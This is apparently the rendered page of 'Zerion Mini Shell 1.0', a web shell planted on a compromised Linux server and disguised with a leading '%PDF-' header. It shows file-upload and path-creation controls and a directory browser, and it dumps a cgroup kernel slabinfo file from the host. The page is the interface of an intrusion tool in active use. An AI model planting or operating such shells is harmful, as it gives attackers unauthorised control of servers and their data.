%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /sys/fs/cgroup/memory/system.slice/systemd-journald.service/
Upload File :
Create Path :
Current File : //sys/fs/cgroup/memory/system.slice/systemd-journald.service/memory.kmem.slabinfo

slabinfo - version: 2.1
# name            <active_objs> <num_objs> <objsize> <objperslab> <pagesperslab> : tunables <limit> <batchcount> <sharedfactor> : slabdata <active_slabs> <num_slabs> <sharedavail>
kmalloc-2k            32     32   2048   16    8 : tunables    0    0    0 : slabdata      2      2      0
kmalloc-rcl-128      928    928    128   32    1 : tunables    0    0    0 : slabdata     29     29      0
ext4_inode_cache     232    232   1096   29    8 : tunables    0    0    0 : slabdata      8      8      0
buffer_head       185192 190944    104   39    1 : tunables    0    0    0 : slabdata   4896   4896      0
kmalloc-1k           144    160   1024   16    4 : tunables    0    0    0 : slabdata     10     10      0
radix_tree_node     3328   3472    584   14    2 : tunables    0    0    0 : slabdata    248    248      0
task_delay_info      102    102     80   51    1 : tunables    0    0    0 : slabdata      2      2      0
task_struct           24     28   7936    4    8 : tunables    0    0    0 : slabdata      7      7      0
kmalloc-512          176    176    512   16    2 : tunables    0    0    0 : slabdata     11     11      0
skbuff_head_cache    256    256    256   16    1 : tunables    0    0    0 : slabdata     16     16      0
kmalloc-rcl-96        84     84     96   42    1 : tunables    0    0    0 : slabdata      2      2      0
kmalloc-rcl-64      1792   1792     64   64    1 : tunables    0    0    0 : slabdata     28     28      0
shmem_inode_cache     44     44    720   22    4 : tunables    0    0    0 : slabdata      2      2      0
PING                  16     16   1024   16    4 : tunables    0    0    0 : slabdata      1      1      0
sock_inode_cache      38     38    832   19    4 : tunables    0    0    0 : slabdata      2      2      0
eventpoll_pwq        112    112     72   56    1 : tunables    0    0    0 : slabdata      2      2      0
kmalloc-32           256    256     32  128    1 : tunables    0    0    0 : slabdata      2      2      0
pde_opener           102    102     40  102    1 : tunables    0    0    0 : slabdata      1      1      0
mm_struct              0      0   1088   15    4 : tunables    0    0    0 : slabdata      0      0      0
anon_vma             117    117    104   39    1 : tunables    0    0    0 : slabdata      3      3      0
anon_vma_chain       192    192     64   64    1 : tunables    0    0    0 : slabdata      3      3      0
vm_area_struct       494    494    208   19    1 : tunables    0    0    0 : slabdata     26     26      0
kmalloc-4k            16     16   4096    8    8 : tunables    0    0    0 : slabdata      2      2      0
kmalloc-64           128    128     64   64    1 : tunables    0    0    0 : slabdata      2      2      0
cred_jar              42     42    192   21    1 : tunables    0    0    0 : slabdata      2      2      0
proc_inode_cache     108    144    680   12    2 : tunables    0    0    0 : slabdata     12     12      0
pid                   96     96    128   32    1 : tunables    0    0    0 : slabdata      3      3      0
inode_cache           13     13    608   13    2 : tunables    0    0    0 : slabdata      1      1      0
dentry               760   1176    192   21    1 : tunables    0    0    0 : slabdata     56     56      0
filp                 305    464    256   16    1 : tunables    0    0    0 : slabdata     29     29      0

Zerion Mini Shell 1.0